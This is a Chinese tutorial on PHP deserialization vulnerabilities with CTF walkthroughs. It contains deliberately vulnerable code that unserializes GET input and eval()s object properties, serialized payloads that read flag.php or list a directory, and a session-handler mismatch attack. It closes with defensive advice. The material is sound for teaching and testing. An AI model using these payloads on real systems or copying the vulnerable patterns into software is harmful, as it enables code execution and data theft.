PHP反序列化的一些例子
字数 1653 2025-08-27 12:33:42
PHP反序列化漏洞详解与实战
一、PHP反序列化基础概念
1.1 序列化与反序列化
PHP中的序列化(serialize())是将PHP值转换为可存储或传输的字符串表示的过程,反序列化(unserialize())则是将字符串重新转换为PHP值。
序列化特点:
- 保存对象的所有变量,但不保存对象的方法
- 只保存类的名字
- 反序列化时对象的类必须已定义
1.2 魔术方法(Magic Methods)
PHP反序列化漏洞通常利用可以自动调用的特殊函数(魔术方法):
__construct(): 对象创建时自动调用__destruct(): 对象销毁时自动调用__sleep(): 在序列化前自动调用__wakeup(): 在反序列化后自动调用__toString(): 当对象被当作字符串使用时调用
二、反序列化漏洞利用条件
unserialize()函数的参数可控- PHP中有可利用的类且类中包含魔术方法
三、基础漏洞示例分析
3.1 构造与析构函数利用
示例代码:
class example {
public $handle;
function __destruct(){
$this->funnnn();
}
function funnnn(){
$this->handle->close();
}
}
class process {
public $pid;
function close(){
eval($this->pid);
}
}
if(isset($_GET['data'])){
$user_data = unserialize($_GET['data']);
}
漏洞分析:
example类的__destruct()会自动调用funnnn()funnnn()调用handle对象的close()方法- 如果
handle是process类的实例,close()会执行eval($this->pid)
利用方法:
- 构造
example对象,其handle属性为process对象 - 设置
process对象的pid属性为恶意代码
Payload构造:
class example {
public $handle;
function __construct(){
$this->handle = new process();
}
}
class process {
public $pid = 'phpinfo();';
}
$test = new example();
echo serialize($test);
3.2 __wakeup()替代__destruct()
将上述示例中的__destruct()改为__wakeup()同样可利用,因为__wakeup()在反序列化时自动调用。
四、CTF实战案例分析
4.1 文件读取漏洞
题目代码:
// hint.php
class Flag { //flag.php
public $file;
public function __toString(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
// index.php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt) && (file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)) {
echo "不能现在就给你flag哦";
exit();
} else{
include($file);
$password = unserialize($password);
echo $password;
}
}
漏洞分析:
password参数被反序列化- 反序列化后对象被
echo时会触发__toString() Flag类的__toString()会读取file属性指定的文件内容
利用方法:
- 构造
Flag对象,设置file属性为flag.php - 序列化后作为
password参数传递
Payload:
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
五、PHP Session反序列化漏洞
5.1 Session序列化处理器
PHP提供了多种session序列化处理器:
php: 默认处理器,格式为键名|序列化数据php_serialize: PHP 5.5.4+引入,格式为完整的序列化数组php_binary: 二进制格式
5.2 处理器差异导致的漏洞
示例场景:
- 站点使用
php_serialize存储session - 但使用
php处理器读取session - 攻击者可注入特殊字符
|伪造序列化对象
测试代码:
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION["test"] = $_GET["t"];
差异结果:
php_serialize:a:1:{s:4:"test";s:4:"1111";}php:test|s:4:"1111";
5.3 实战案例
题目代码:
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO {
public $mdzz;
function __construct() {
$this->mdzz = 'phpinfo();';
}
function __destruct() {
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo'])){
$m = new OowoO();
}
利用方法:
- 利用
session.upload_progress特性注入session - 构造恶意session数据包含
|和序列化对象
攻击步骤:
- 创建HTML表单上传文件
- 设置
filename参数为恶意序列化数据 - 服务器使用不同处理器处理session导致反序列化
Payload构造:
class OowoO {
public $mdzz = 'print_r(scandir(dirname(__FILE__)));';
}
$test = new OowoO();
echo serialize($test);
六、防御措施
- 不要反序列化不可信数据
- 使用
json_encode()/json_decode()替代序列化 - 验证反序列化前的数据
- 保持PHP版本更新
- 统一session序列化处理器
七、总结
PHP反序列化漏洞是Web安全中的重要攻击面,攻击者通过精心构造的序列化数据,利用魔术方法的自动执行特性,可以实现代码执行、文件读取等恶意操作。理解其原理和利用方式对于安全开发和渗透测试都至关重要。